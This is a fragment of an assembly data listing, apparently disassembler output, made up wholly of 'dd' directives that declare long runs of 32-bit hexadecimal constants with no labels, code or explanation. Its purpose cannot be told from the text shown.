		dd 274A786Bh, 7C7718E9h, 0D08ED06Ch, 9D56FDDFh,	0E8DD31D3h
		dd 0E1514D07h, 6F9420ADh, 0CD5812Ch, 0E521F3CBh, 0D2E34E51h
		dd 0F43EAF56h, 0B50622F6h, 3D05746Ch, 4F11122Ah, 94DEE69Bh
		dd 89844FF6h, 0B09D10E3h, 33C0C14Dh, 3F988C82h,	503F17C2h
		dd 0E37177BBh, 0C23A87E9h, 0AC7EE3D7h, 244010E9h, 4153041Ch
		dd 7AC1C0DBh, 9BA64D75h, 2C3E8C51h, 30C90396h, 2FC553E5h
		dd 3BA4089Dh, 2E0001BEh, 0D64A3C14h, 0CAFD9BA1h, 235B1950h
		dd 0CFC72F95h, 0BDC10DCh, 79C5EC3Fh, 0CF1BD6B7h, 0FC9EBBDDh
		dd 0F990E5E2h, 824EDD8Eh, 0EEE5596Fh, 2D320B92h, 60AA94D1h
		dd 1B590547h, 310BEB8Fh, 0ABD4B1BAh, 0B9F75AB8h, 0AA06FC77h
		dd 4A70D1ADh, 0DCCE0EC8h, 0F6CFC788h, 0E8FF6B0Fh, 706D5B3Bh
		dd 0BE22EF1Bh, 45DEA771h, 0CA15D4Dh, 0A6A7A783h, 840DA9B7h
		dd 123EE31Ah, 0A0CE253Fh, 7EE33995h, 48515121h,	0B45FEEEh
		dd 0EB4922F7h, 0D1E03EA4h, 76AAA6EEh, 276FC790h, 3AB47F05h
		dd 2A9EBE83h, 38A0523Dh, 0A2D8C163h, 9A52C1FFh,	580DFFC8h
		dd 700799DDh, 2D60A3B4h, 7A91793Bh, 57C51E14h, 9181C520h
		dd 0A116802Bh, 21A8F77Eh, 776A6B5Eh, 0D7198793h, 934497A2h
		dd 300D044Ch, 0ACC6313Ch, 62B91C16h, 21C5977Ah,	0C9103E0Eh
		dd 8B77D4E4h, 0BB3CE560h, 73505377h, 0D25885C0h, 70595F44h
		dd 0C4313015h, 82940E2Fh, 0E7740455h, 94526EC8h, 0FEC1C83Eh
		dd 0EBD66045h, 0C24FADADh, 0D1D192EFh, 4C9790F3h, 153693E7h
		dd 26FA4BB6h, 0FEBA1DCCh, 69901578h, 346551A1h,	19153D32h
		dd 4F199C57h, 0D0D80967h, 14667336h, 0FF334C62h, 6C15B95Dh
		dd 573B6FCDh, 3A35E9A3h, 0E0EF3319h, 96E53FF1h,	8B3A1ED7h
		dd 89307250h, 950E07D1h, 0F4893DB1h, 0C59F56E0h, 925904C7h
		dd 0FFABC3B3h, 31981570h, 0D0EFA16Bh, 9CAE165Bh, 1EA3DB13h
		dd 18BCE106h, 81447AAh,	3388C99Bh, 2824C225h, 0E5DE3D97h
		dd 56B66212h, 5474490Fh, 0B632C48Bh, 79F6942h, 94AEBC98h
		dd 4BD767AEh, 5B2742C9h, 19CD743Fh, 6BC13AF7h, 20AFBFB3h
		dd 592E0946h, 0B1986C95h, 261DA72Ah, 62FEA10Eh,	4A64D4DAh
		dd 58A8C97Ch, 0A5D6F3EBh, 90276E9Dh, 61ED7671h,	8FE89767h
		dd 0D634FB92h, 61123CE3h, 22BEA1BCh, 55AAD56h, 56B52E9h
		dd 1FDD20C4h, 3D7CE362h, 1EAED9DCh, 8C8611D7h, 0A507B363h
		dd 0CE6F72h, 0FAB57CE5h, 3B71DB18h, 0D65D2FFDh,	0EDDBC456h
		dd 0D01042CDh, 0E08406A8h, 2AAC47E7h, 3CBA73B3h, 0B8F9FA3Bh
		dd 0EB2543C1h, 6D5D662Bh, 0F6B7C3C9h, 4C8EA66Fh, 13F29704h
		dd 51D44CF9h, 2D132404h, 9512938Ah, 0FA1ED153h,	3311F2B2h
		dd 0F2C0A5EBh, 3ABFF277h, 0A6AFDA16h, 0B5BFA253h, 7D070CFFh
		dd 0E0CEBF3Ch, 37349C95h, 8AA25F4Eh, 0D5AABE8Bh, 7DF95721h
		dd 2CA9AF71h, 0DAAAAC36h, 0E0D425BAh, 51487A38h, 0B9EF6541h
		dd 4BCD77C3h, 76B6556Eh, 0AC339504h, 90031DE6h,	0F3979556h
		dd 0C91D664h, 9A48DCC0h, 874C7791h, 0C644080Ah,	65141D79h
		dd 0A20D7DEFh, 0FF4AF3AFh, 0B500FD3Eh, 221F137Dh, 5102E52Dh
		dd 3DF87B33h, 575D800Fh, 0A0871875h, 0F6341C31h, 81D80136h
		dd 0B9466FFFh, 8A0F83F0h, 779424A7h, 0C5A8E80Ch, 61ED5575h
		dd 31F95067h, 1A51EE92h, 0B5D510ECh, 0C5EB9C5Dh, 9F902D53h
		dd 0FB0FAA77h, 892BD943h, 5A528161h, 0D3D218C5h, 1DBB073h
		dd 2F3FD65Dh, 1D5B566Dh, 0D8CD3647h, 53173623h,	705D3F2Ah
		dd 0E5C257DEh, 0D9D196FBh, 24D70C60h, 0F1C85ECAh, 6B49725Dh
		dd 0CB3EEB45h, 0BACCA695h, 0EE1F6F63h, 0D2479367h, 7C9293Fh
		dd 295812BAh, 0E028EB52h, 1AC6BADDh, 4A88FCE7h,	3981F089h
		dd 96931E67h, 180670A8h, 31A84EFFh, 0E44C346Ch,	4E9CB7C0h
		dd 74DD6A6Dh, 266C75A4h, 311C285Eh, 0AF1D4DE5h,	89C73180h
		dd 0FABB4C3Dh, 8539274Eh, 0DB6ECB7Ch, 0B4D6FF85h, 0EB23F9CFh
		dd 741FAE32h, 8DE41467h, 4041257Dh, 388709DCh, 0ACF6A21Ch
		dd 0B448747h, 8B92B60h,	0B6779CDFh, 8C1679EAh, 0FE2093FFh
		dd 0B5B8551Ch, 3D70B56Fh, 24F5B7D5h, 794AFCFEh,	9C08A85Ah
		dd 0EA25A00Dh, 404A67E9h, 0CD192AFDh, 0F7CEBC66h, 28C70968h
		dd 0FC03212Dh, 1D0CB35h, 0C2EEE7BAh, 59116EFAh,	0CB764F73h
		dd 5167820h, 0E6BE0271h, 8D91A6FBh, 93FAA3DFh, 0AE4E8EB1h
		dd 44274DA7h, 4BD44DC4h, 5642FA0Dh, 6B3CD1B3h, 0D8320569h
		dd 17EDE31Ah, 0A1D0407Ah, 0C6774F0Bh, 4E61EDAh,	40E53552h
		dd 0D7A989F0h, 0FA8864Dh, 0E14F9ED3h, 8A722B8Dh, 0ADF5537Ah
		dd 0ED26EEF7h, 2BD831EDh, 0C54FBB5Eh, 7911E824h, 65B241ABh
		dd 484263F4h, 2E6B8B00h, 0EFA83E33h, 28C7908Eh,	5B5E3B65h
		dd 38212FA1h, 407DE3EFh, 3486CB60h, 0ABEF695h, 3EFF2B82h
		dd 66871650h, 0E0DA5168h, 0DCD93AACh, 6424A9F6h, 6F5C3A0Dh
		dd 0A6BBF954h, 0A5A336EBh, 1F468610h, 2713DDADh, 0C126888Bh
		dd 47F85980h, 0D61909Ah, 7041C487h, 5F58BCF5h, 0B46E05BBh
		dd 0BACD84Dh, 3A84CA0Bh
		dd 97AA0E34h, 624CC5A1h, 459A1821h, 0BE1DCCAFh,	9A4E736Ah
		dd 80AA664Dh, 58A676FAh, 91481C0Ah, 7EA6761Dh, 0C0813844h
		dd 0E4FE29E3h, 1E2630AAh, 2D23FCCCh, 0FB4DEEECh, 9774AE5Bh
		dd 0C9C4F043h, 0A6D0CB47h, 0C14D9D95h, 0B866BE78h, 0F003597Dh
		dd 0ADB587DBh, 615409C8h, 0F3BF7097h, 990239FFh, 8ED8A85Bh
		dd 1273DCB4h, 0E793068h, 7E958B0h, 50CF2018h, 0BAF1A193h
		dd 0CA5C28Eh, 7BB5C05Dh, 0ACB872CAh, 0AD302C9Ch, 6A8E9420h
		dd 11B53B32h, 36707893h, 35825CF3h, 0E4C66711h,	0ADD464E4h
		dd 88C6B54h, 2B4F4880h,	0A3AF91EEh, 973D22DCh, 410C3FE3h
		dd 1C10A155h, 139ABE4Dh, 0FE4712FFh, 0A929500Bh, 0D5E8A861h
		dd 0D850237Eh, 0D86B4C65h, 821C2490h, 0B4307115h, 40E2E6C8h
		dd 0BAE60164h, 5FF2AC21h, 59208440h, 9AAFECC5h,	1B112A0Eh
		dd 0C051D9A3h, 246E43E6h, 23127683h, 0D7E223ADh, 0B89ABACCh
		dd 8CF62025h, 0E6060597h, 1A19B9DAh, 21F38DE2h,	258CF6A4h
		dd 9D49DDA8h, 0FD153093h, 25CF253Bh, 7DC5FF23h,	48BF2717h
		dd 0AAEB3E6h, 855E477Dh, 0A4C57CCCh, 0A1E39452h, 4A3CD0F7h
		dd 0C865BDF9h, 3807912Bh, 699A5EE9h, 8A4F3A1Dh,	23579A38h
		dd 5822113Bh, 2A14ED59h, 8CCC01DFh, 62993617h, 701BB96Fh
		dd 51B9352Fh, 0EEF768D4h, 9055AC20h, 22E82C85h,	51D8775Ch
		dd 2E3A90F0h, 8308CA28h, 0CDF4E3F3h, 31EFFEFEh,	9652C989h
		dd 119EE231h, 8CB2B639h, 233BB89Fh, 0A2E3C7B5h,	0FFCFD5C4h
		dd 0B4E278B6h, 0C05208C7h, 0F789C3F1h, 343FDA67h, 20227F9Bh
		dd 54C6401Fh, 0BE0A5BBAh, 77A09AF9h, 0F77548EAh, 45C79AD5h
		dd 0EEDD2BFCh, 45C7E0C6h, 0C4E2B9D9h, 158CA0FAh, 1C8F7B33h
		dd 4AC1FF3h, 39FD24Ah, 6A45D080h, 0B2CD0958h, 0F9FF9BCAh
		dd 39E025FAh, 0B3631B00h, 0EFECAC5Ch, 4B2BB212h, 0D6C354C6h
		dd 0B8CDDD50h, 0A01322B6h, 789D2815h, 652A29C3h, 2C1B34CDh
		dd 6E8C954Ah, 26598516h, 659060B7h, 9730F71Fh, 0CBFBDEC6h
		dd 0A4D974C2h, 47953E2Eh, 0FF69F4BBh, 6BEACE4Ah, 58FEFE9Bh
		dd 25275FE6h, 23387202h, 714BA3CBh, 0D94B79C9h,	0DD986361h
		dd 0F35A19C5h, 459536B8h, 0C8AB534Ah, 6AAB6356h, 68F96DC9h
		dd 7D74F83Eh, 4F143B66h, 0B1E3CDEAh, 6117B1C3h,	805B8A92h
		dd 66BB468Ah, 54A8E86Fh, 0AA3E1F92h, 0E0ABB68Ch, 201463F6h
		dd 15434102h, 93D9ECC9h, 515406A3h, 641BA8FEh, 0A3B75542h
		dd 6D146979h, 67F13E79h, 0D464D400h, 0E076C095h, 0B9A94EC1h
		dd 73ADEF36h, 986FBF5Fh, 0F90ABAA4h, 0E932718h,	6DC73A1h
		dd 1C06A859h, 4EF5B967h, 9737D922h, 0CF1F81E8h,	5DB6BD9Ch
		dd 993E6355h, 459896FDh, 358CE47Eh, 43844764h, 8654FC8h
		dd 160503D4h, 0B5942B61h, 5B6D18AEh, 0E5981A4h,	0FDEB72D6h
		dd 282B8A27h, 3F21DB99h, 1C919A14h, 0B9950D49h,	0B3557850h
		dd 26AA809Ch, 0A1EA62B3h, 3EA551B3h, 2672EC61h,	0B312F9FFh
		dd 467127ABh, 0D1BE1445h, 0A4893E49h, 1B4A8E38h, 6CED2B73h
		dd 0B46C0434h, 8A59C789h, 0B0BB5E7Ch, 3FA2E4C3h, 0FB8BB379h
		dd 4D4CBAD2h, 3640A1BCh, 848B21Eh, 0DFA96E6Ch, 68B9AF25h
		dd 40490BBCh, 4B4A5192h, 0B75C58E9h, 79DDDD3Bh,	0BBD47152h
		dd 33B6A126h, 99BAE1DBh, 15ACDE3Bh, 9EB39B89h, 0E65AFDB3h
		dd 32E6A147h, 79239205h, 5C7557A2h, 1F1FE113h, 0FE7B3246h
		dd 58FFE6B8h, 0D3B9D21Ch, 29C8EB1Dh, 9C731E32h,	0F3E497EAh
		dd 3DC5AABEh, 620751EEh, 92BAAA78h, 0CF168B85h,	50ACEF46h
		dd 1C2D5252h, 55E30E39h, 8CD4DBE4h, 9F888938h, 18B7CF55h
		dd 945A8C77h, 74AA4291h, 184C0F85h, 6E7E0C8Eh, 0E2563822h
		dd 49DC5FC5h, 575C27CDh, 50A20AB4h, 5128ED69h, 0C442ADE2h
		dd 340E2CAh, 0FDE9F850h, 39EB3C8Fh, 2B50C335h, 0E344A8D9h
		dd 9A4AF874h, 1D10268Fh, 0ACE2098Eh, 56133A8Bh,	0C96A9D29h
		dd 84C54C56h, 0D9F5AF99h, 0D22AF2CAh, 0CA75355Eh, 0BCAE5208h
		dd 5C9E1780h, 0B7220BC7h, 146132B2h, 0E10DE19Ah, 9A32384h
		dd 53428A49h, 92CBA29h,	50569CA9h, 3EB2D18Dh, 9FC795EAh
		dd 0AE5397C4h, 0B8E37FDAh, 7A656F1Fh, 0EAF8C167h, 6EA28401h
		dd 416C42BDh, 79C6CC5Dh, 0EE2E83CDh, 0F69C38Eh,	0D530060Dh
		dd 0E61AE158h, 370CCFCFh, 3292D58Eh, 6AE808AAh,	7C8FE1CAh
		dd 0F8EBA772h, 1D2BE738h, 0FB9B29B6h, 0AB14BB19h, 0A75DEFA2h
		dd 3D15D817h, 4DF3D123h, 0CF6D936Fh, 6FAB96D2h,	0BEDEC362h
		dd 0F1451AC2h, 90ED9658h, 9C0A7EDh, 484B7BA4h, 3B890CD7h
		dd 8A2222AAh, 0B48400A8h, 54715736h, 707239A6h,	0A44306CBh
		dd 0FFEAF9F7h, 11E8424Dh, 0E5B03226h, 0F9B88106h, 5B9F9DB3h
		dd 60A78323h, 94CE968h,	811AEFD0h, 6D5B7E1Bh, 0C187E6B6h
		dd 6B494D9Dh, 447137A4h, 0F9A14502h, 94ABB894h,	90694967h
		dd 0FB4E9B91h, 3336B512h, 260906Ch, 9DEEF2A1h, 1E9A16FFh
		dd 0D44473C4h, 84B07C6Bh, 0EED73ED9h, 0EDCDCB3Fh, 0CB14484Ah
		dd 52924CAAh, 27B58F05h, 500C07DBh, 18364B62h, 0D638D6B7h
		dd 0C8AC34C0h, 1ADDEB6Fh, 0FFA1FFC9h, 2A8F0134h, 25696179h
		dd 0F3E52DCCh, 1E5CA622h, 29453D5Dh, 28876F5Dh,	0C71755D8h
		dd 9C3D6402h, 0D58ECEF6h, 58C4E345h, 9BE150E2h,	6AE3D5C3h
		dd 90DD8484h, 46565FD5h, 0C3E5E661h, 540D21FFh,	0AE78B0C1h
		dd 4C59B2B6h, 474417A2h, 0D95C9Ch, 998660A1h, 0D7EC64BFh
		dd 911C26CFh, 3AF113B3h, 402AFF79h, 6D87B5Bh, 51D20938h
		dd 515762E8h, 48D8B15Dh, 0CB8F0918h, 2C7664A2h,	65F22A83h
		dd 5916A898h, 721DD937h, 505AD855h, 7DD1D66h, 66D903Dh
		dd 84BBBA2Ch, 37B240C7h, 0F7B2615Eh, 2837B549h,	0FBD55786h
		dd 0ABD08807h, 577B341Eh, 0E2DFACF5h, 1177A686h, 0E65982F0h
		dd 5AFCF5A7h, 7CB21C13h, 53F92528h, 58553552h, 86FB97AFh
		dd 9A11F358h, 3C96A21Bh, 60EB9358h, 6BBA6CFCh, 0D591BE81h
		dd 0D520292Ah, 0CFEDE3F8h, 9740947Ch, 0A618AEA7h, 318DB7D0h
		dd 465F053Dh, 111A77C6h, 426B680Bh, 143D3E71h, 6EE6C94Ah
		dd 8FEBDB4Bh, 0DB01D8C8h, 25C21796h, 437C4DC5h,	0EA1A6327h
		dd 0A95765D4h, 1CECE0F2h, 0A5004FC2h, 903026CDh, 6F458B51h
		dd 7A72E3B8h, 6AAEB94Eh, 8D866D55h, 0FC4DAE2Bh,	34826FAh
		dd 8C177F2Bh, 6C486228h, 0FC67E571h, 8494C4F7h,	0FA1D08C1h
		dd 0F8DC1015h, 4C602E79h, 2DD89159h, 170722ABh,	975FCCF8h
		dd 4A19C527h, 6A66AFB9h, 57B873EDh, 62AE7E79h, 55B09844h
		dd 8A301487h, 1EDBE149h, 6799278h, 0EE5249A0h, 0CD1955B2h
		dd 8E1B4F93h, 584F598h,	0EA8064BCh, 0B4FD5349h,	42A8C36Dh
		dd 85953AF2h, 6160D57h,	834D8BF9h, 0FA3EECD6h, 0B3005A9Ah
		dd 56C0A38Fh, 2ADCBE2Ch, 850EB568h, 0FF616B23h,	0BD41AE36h
		dd 0C3940BACh, 7A45FF9Fh, 0A012A252h, 8333A696h, 19DB1E6Ah
		dd 4E582229h, 0DC1BBFC5h, 0B14A54EEh, 87F3C962h, 8FA15895h
		dd 8CF49476h, 2BA936CEh, 93F3580Ch, 359D7DA4h, 83684199h
		dd 29533EDFh, 0FB71678h, 58999492h, 54D689FFh, 5AE361FBh
		dd 0EDE5F7BBh, 1C5D0F32h, 0E999870Dh, 0C618997Ch, 0BD18964Fh
		dd 80532061h, 12D00B39h, 98D78F1Bh, 0A83DA77Ah,	9C74CFDAh
		dd 0A4D4CECCh, 9E3B75A9h, 27E4C096h, 42DA3EA9h,	81D843FCh
		dd 0BE3EC0BEh, 0F60ABFC9h, 0DBBD46A9h, 7EDE3E89h, 7820E9E8h
		dd 83AA050Bh, 7EAF75F1h
		dd 5AF54CEBh, 0B83658Eh, 5DBA1932h, 0C364E2FEh,	0E7A4E1C7h
		dd 6155B106h, 0DF288E5Ah, 66F4CA41h, 10395AD5h,	1BE6E995h
		dd 850E251h, 9151B18Eh,	0CDF1A239h, 65A41E02h, 5C5E07CCh
		dd 7D621104h, 7F36EE9Fh, 0FCA0C589h, 5D74E87Ah,	8AEE7E76h
		dd 0C36735B4h, 23B689B1h, 0DAF89305h, 4CEB77BBh, 98A78Ah
		dd 47CDEDB2h, 0A217D37Fh, 8228E5FCh, 7F55BF06h,	791655DBh
		dd 90D8DE5Eh, 509D6417h, 0CACC378Bh, 436BCE03h,	2ABE2566h
		dd 72AAAD53h, 0E7A5E7B2h, 0C0B649Dh, 0EF3CDFACh, 9A775FBFh
		dd 8B7AFC60h, 6B6C31BBh, 775ED440h, 0E64048DFh,	215266FDh
		dd 5CB3A53Eh, 0EA30B331h, 28C4A528h, 74627493h,	1986581Dh
		dd 61A6C54Eh, 3956E5C0h, 0F73B47F5h, 0BA89C40Bh, 23347199h
		dd 0D958046Ah, 0B2FAAFECh, 0CD4A4565h, 2BCCBC62h, 85375F13h
		dd 12E95A10h, 14DFECA0h, 30F3A8ADh, 2105EE27h, 9DF50123h
		dd 0B82E3C6Dh, 2E481277h, 2EC936E5h, 0B586060Ah, 8581C697h
		dd 81DC1110h, 26F181F1h, 735C2506h, 5ABCA5BAh, 2891B782h
		dd 6A1980E4h, 0BA571D08h, 12773770h, 7DF4C66Ah,	0FD44AB98h
		dd 0F6816863h, 0B1FF6E12h, 19BF876Bh, 52EA0264h, 7586A258h
		dd 791C28F1h, 2EE40B3Ah, 34D30D72h, 59D7E93Fh, 466ACF33h
		dd 0C8A7C5ACh, 0F249A325h, 0B7FFCE78h, 0BDDFFF1Dh, 347FEC01h
		dd 40E8301h, 3C0406BFh,	0C2595F4Bh, 0BA5DB40Fh,	396A343Ah
		dd 943E6926h, 5F74BBABh, 3E067C00h, 868AA25Bh, 52530DDCh
		dd 0A35B6C07h, 111DD7B5h, 0F558CA78h, 2FC0704h,	2DA36E1Dh
		dd 685CD164h, 0FC646C08h, 26565D6h, 0B1D3A6FBh,	498D760h
		dd 0B65E0A0Dh, 0D3D0C54Bh, 96AF8134h, 0E958D872h, 68E5216Dh
		dd 0E723D7C1h, 1B3C3CBDh, 1AB58A31h, 494C53FAh,	1835DD5Fh
		dd 3DDAE4E9h, 0BA6A4989h, 0CF2AA54Ah, 516603D8h, 5FE7AD6Ah
		dd 0FAAAA586h, 8ECB95BDh, 68ACC9BEh, 0FB6EF7FDh, 0CF7A7E19h
		dd 4E0254Fh, 0E35E0E64h, 35015CF7h, 0AAE6AFF3h,	0F0D510FDh
		dd 3CB11Ch, 0F573D575h,	47E83E7Ah, 83AEAF11h, 123CD9CEh
		dd 0A56BF626h, 17A0E6A2h, 0FFA2B628h, 0AFF68A03h, 3C9BA125h
		dd 0CDCA220Ah, 7BAB36B2h, 0DADF8625h, 0B44D18Ch, 0AAE6F51Ch
		dd 357A7810h, 0FCBFF674h, 7AC8E618h, 54829FB3h,	9D2CB71Bh
		dd 9854D672h, 0D0527B8Eh, 66B72668h, 0C930F0A2h, 65B0121Ch
		dd 427533A2h, 265A56A2h, 39813E38h, 0E0D72A21h,	0F2299D23h
		dd 1268DAACh, 9DD6C26Fh, 58C29E06h, 0B1523216h,	9AD30744h
		dd 0D603F617h, 65B8C419h, 7C50F064h, 0FCDE9972h, 0AFC8E202h
		dd 524BBF8Ch, 8D26F040h, 75E926A3h, 8AE19B5Eh, 282D528Bh
		dd 87C4FC8h, 0A038F858h, 9E3605AFh, 0A322A142h,	0D09E36A6h
		dd 2B85E43Ah, 641D5DE2h, 9C4CA0B1h, 0EAE69BC5h,	5FFA4560h
		dd 430DDD7Dh, 1F6678D7h, 7851518h, 0E841CC5Dh, 2101CDAEh
		dd 0AB270A83h, 196E1334h, 0A3D8E629h, 0CC590B07h, 0BFE9C54Bh
		dd 9935E93Bh, 0F63FF2D7h, 0FA9FD14Dh, 4B648AF3h, 0F0A84022h
		dd 5E8E69CCh, 0B897DDA5h, 0D51B4F23h, 707255DFh, 168E61FCh
		dd 88A2057Dh, 0CEAAC60Bh, 0B3AC3E71h, 58D4E79Eh, 0AA6951ABh
		dd 9F5D69B0h, 0D0EAEB2h, 0D373266Dh, 4592AC5Ch,	0FD65FA7Fh
		dd 0A4ABF23Dh, 2A7A2536h, 64DF7CE1h, 6E1DB48Dh,	935F8692h
		dd 98E173D7h, 38B0E801h, 7E0FCD2h, 0D539774Dh, 6AF334C9h
		dd 8C733270h, 0D86E41F1h, 0A8BAB68Ah, 16CD4A43h, 469DF151h
		dd 0F38CFA29h, 84B03004h, 0E5D8BAFCh, 75328ABEh, 0F0FB7824h
		dd 6F797908h, 88E831BAh, 33B1DC46h, 0B23038D9h,	5E2FBC6Dh
		dd 428CEE04h, 0B6161D5Ah, 0A62117DEh, 48E6DE32h, 31825C1Dh
		dd 76640DE1h, 97713575h, 84AB7108h, 7A77BA52h, 36072E23h
		dd 0D4B4C58h, 0FAB1B5CFh, 0EFA87DBCh, 0A8264BE6h, 7767111Fh
		dd 0F266F584h, 0B95DA8A3h, 819BB3B6h, 0FF47B9E5h, 4074D027h
		dd 92CD57ACh, 395C20D5h, 502B2FE4h, 8C90B4EFh, 5B8C0900h
		dd 263B60B7h, 0C62B9236h, 4C245EE9h, 0CD14E072h, 0E78E7C24h
		dd 0B295800Ah, 0D3E38452h, 1874FE8Ch, 0C3C18217h, 3347185Dh
		dd 693303ECh, 6855BD00h, 78D8D94Ch, 5B093C5Ah, 0CA0BE185h
		dd 36F8FBF6h, 0E0CD66B9h, 8DE3B527h, 49FD289Dh,	46BA7E49h
		dd 0A7DFE6Dh, 6B71085Ah, 88E8E42Dh, 0AFF7ABF1h,	776FD7F4h
		dd 62070FEFh, 680AC472h, 53F4F82Dh, 0CFA94A2h, 975EA0D2h
		dd 9F04EBADh, 110197A1h, 6DB82D7Ah, 557C2FBBh, 0DA09AEF8h
		dd 0A9049E9Fh, 1F08ECEEh, 0FBC1B9F4h, 0D8DD018Eh, 0CAB1EA22h
		dd 3A6D18D7h, 262470ADh, 0E712C864h, 0D009E4CBh, 0CC150B49h
		dd 4B212EF9h, 0BB71CE32h, 87CD0C13h, 258F6B3Fh,	570ED09Ch
		dd 98AD9C23h, 7A12E004h, 0E1067D0Eh, 0F251E8F9h, 0F9795BC2h
		dd 0DF239B55h, 0D1E64D33h, 41DE0920h, 351F1DF6h, 60F072F8h
		dd 0D7A382FDh, 66CC4FEAh, 875F3150h, 0B846CC1h,	0A213DEC9h
		dd 0BCAFA011h, 0E6F3A150h, 0DF66B870h, 0F23635F4h, 9171ECDDh
		dd 0D75AC780h, 0C777A190h, 672686C4h, 0CA34022Ah, 0FCD65091h
		dd 4E95E7D1h, 0C2FADF7Eh, 939750C3h, 23A9156h, 1C943924h
		dd 639DB4Ch, 1583DF04h,	0D4A90E64h, 3F946D14h, 7FED4316h
		dd 9CE4A96Eh, 0C0071128h, 0AE4BF6B4h, 0AE3DBE0Eh, 6103F423h
		dd 4AC11EC4h, 276DAA30h, 51F5D1EDh, 76A356ABh, 39701497h
		dd 2C1FA8A6h, 23AE76AFh, 0F9B0C08Bh, 6E4EFDB3h,	63DF0AEAh
		dd 7C67B426h, 0D80B9591h, 556FD029h, 79BE9BBBh,	0EFC16C14h
		dd 6B1D7334h, 2D9E3B21h, 488308h, 5FE3E6AAh, 0A055819Dh
		dd 8BECB808h, 0B7EEFDB0h, 998BD030h, 593BE941h,	203A78B0h
		dd 8ACA8FBDh, 0EB42438h, 0D3C2EBAAh, 7DB4F83h, 0C985928h
		dd 0EAE4BB3Ah, 0FF541281h, 3B616F0Ah, 7DADF57Dh, 1A903C3Ah
		dd 953231Bh, 0D5EEDC87h, 178D9199h, 0DF6021EEh,	632A9ED5h
		dd 0E07E3684h, 63D49F08h, 0E65A2E0Eh, 4FBD6132h, 4DFA3080h
		dd 0AD5562D0h, 0CCD0B9Fh, 86055283h, 12D712EAh,	3679163Fh
		dd 73875812h, 224230F0h, 0C17CC671h, 66D32977h,	0EBCC156Bh
		dd 0EF4C7CACh, 0F7E48F76h, 6900787Eh, 889B11C5h, 752C0888h
		dd 4B7804B8h, 0E42E42A4h, 5AD1B84Fh, 622B779Dh,	0D839E68Eh
		dd 0CE430B53h, 0C7FAF54Dh, 6D03FC13h, 6FDEFA4Fh, 0CDB3BD7Fh
		dd 0EB3A552Dh, 3B4A7A92h, 82DE48AAh, 8A44D96Fh,	31D7F802h
		dd 0ED461718h, 25C7AF73h, 71D1ECC1h, 614E2B3Ah,	3C1B80C3h
		dd 0BB362FB2h, 0E5DD2DC0h, 0F91200C0h, 6D241A91h, 0E9C879FEh
		dd 3589E356h, 16AD381Dh, 5CB7BAD4h, 79ECDD47h, 1E52942Bh
		dd 3A2E643Dh, 0DDD4BDEh, 0ED413DDDh, 1648A80Eh,	0FA9455C7h
		dd 0EFEAC756h, 6E05EC23h, 0C23E5FBh, 2499E853h,	0B684A9ABh
		dd 0F84D0C2Bh, 0E8070342h, 0AB239CBBh, 9DA4FCDDh, 9FEB6DBDh
		dd 591BE35h, 0E46AFFA5h, 9D9914DDh, 0D7EE49AFh,	4BD65E2Ah
		dd 0E2C0B675h, 0BF820DC4h, 0B7CAB261h, 541D9793h, 0E592CDA0h
		dd 206B23D6h, 0E31DEE1Ch, 3606B3F9h, 12F32CD8h,	0A739EE0h
		dd 0C36FAE15h, 0ACA1C1ABh, 0E5455A74h, 0F0772231h, 2A3C4C96h
		dd 0A04A7320h, 0EE885B49h, 0C36EE71Bh, 42F73AF8h, 0D9778626h
		dd 4942F0C9h, 249A21EDh, 5C64E2D3h, 2400DDD2h, 6BF3A3D7h
		dd 0F762E49Ah, 29536924h, 0C918A7E7h, 0FC15C4EEh, 42BD4C38h
		dd 0BFC7FECCh, 0C259F4E8h, 15DE10Fh, 6695C47Eh,	0F21A3F0Bh
		dd 42790B71h, 39D5ADC2h
		dd 2A373624h, 1D38D372h, 355B150Ah, 7F6A2420h, 1C1DC13Ah
		dd 3206AE92h, 19C47518h, 0B7BDA743h, 4F056766h,	0A32D9089h
		dd 0B26DA305h, 437D7BF6h, 0D46445Eh, 0F774F2C6h, 802560AEh
		dd 0B466CAE3h, 94357B8Ah, 0BC6BF5Bh, 2EEA9536h,	3B46AE96h
		dd 0F5C490ADh, 9A237ADCh, 0E2D1CB2Ch, 3E57BE42h, 0C668ADE0h
		dd 68309054h, 0A67FCB3Dh, 5D4EC025h, 0D1B51E8Eh, 9E627A5Dh
		dd 2FE9AB36h, 54C27F63h, 6398BFCAh, 42E428Ch, 13A14996h
		dd 81F7D6h, 3C459468h, 0BB6E4632h, 4CB23329h, 7FA388E3h
		dd 0FE373DDBh, 5F8A9E07h, 9846FE9Ah, 0C240087Eh, 38402C75h
		dd 362BEEE0h, 0CBC320Bh, 1E9ED0D4h, 0C7DD212h, 6C6F7C66h
		dd 44DA5F05h, 1875A82Ah, 2E82D67Bh, 0ED1713BCh,	62BEB36Ah
		dd 0BDFFE77Fh, 0A8146D5Fh, 0A7D8E10Eh, 99025A55h, 4CD96986h
		dd 7AB90A0Bh, 4B82E039h, 1C933B41h, 0CE7D29FFh,	753DA19Eh
		dd 4416C7F2h, 0C8EE0401h, 0DFACAC8Dh, 66E3A008h, 9F256697h
		dd 0D1BAA049h, 0D50BE471h, 721547FEh, 54DDD0E2h, 0D682C6B6h
		dd 94FC3EE3h, 0F44DE890h, 3D7F593Bh, 0F3D5E6C9h, 1292F998h
		dd 97D82E7Ch, 7D2FBE72h, 0E49E1D83h, 0E2C13722h, 489A3430h
		dd 0CAC36417h, 0E72D683Eh, 31C24C67h, 9F8B57EDh, 0CAFA28Bh
		dd 94D62D59h, 0F07639CAh, 1DEF4229h, 0D813842Eh, 7644A1Ah
		dd 6E77DFBDh, 7D717E76h, 6B9E1146h, 500E8E9Ch, 0F8BE4C8Ah
		dd 0EA48924Fh, 80F81302h, 351D8435h, 1B90E244h,	0F09DAC1Bh
		dd 0B5BD2E5h, 5B6A8621h, 3E10962Ah, 5107A63Ch, 94E2692Ch
		dd 2BA14FABh, 1C994E5Dh, 0D3A9079Dh, 9F55ACAFh,	4D20932Eh
		dd 8EF86467h, 0A7F051FEh, 783FF85Ch, 97E35ECAh,	2827A4B1h
		dd 0FE8ABFF1h, 0D3918EEEh, 0C69AFCE1h, 0DA7F8097h, 0FC35E572h
		dd 0DC86F9F4h, 38936D1Ah, 835D4705h, 2F586D1h, 0FD1674A2h
		dd 4A3CB72Ch, 3023C5B5h, 0ECB19F78h, 89416EC7h,	86887EA6h
		dd 977D27C1h, 3980F3B0h, 0ED0F4DA7h, 5BA38529h,	6EAB2164h
		dd 0E73CE02Ch, 1AE14DC0h, 84F6D2D4h, 0A4F6473Fh, 17F48764h
		dd 0CF04AC9Dh, 0F05AC3A5h, 6A860164h, 59F88A44h, 97C76705h
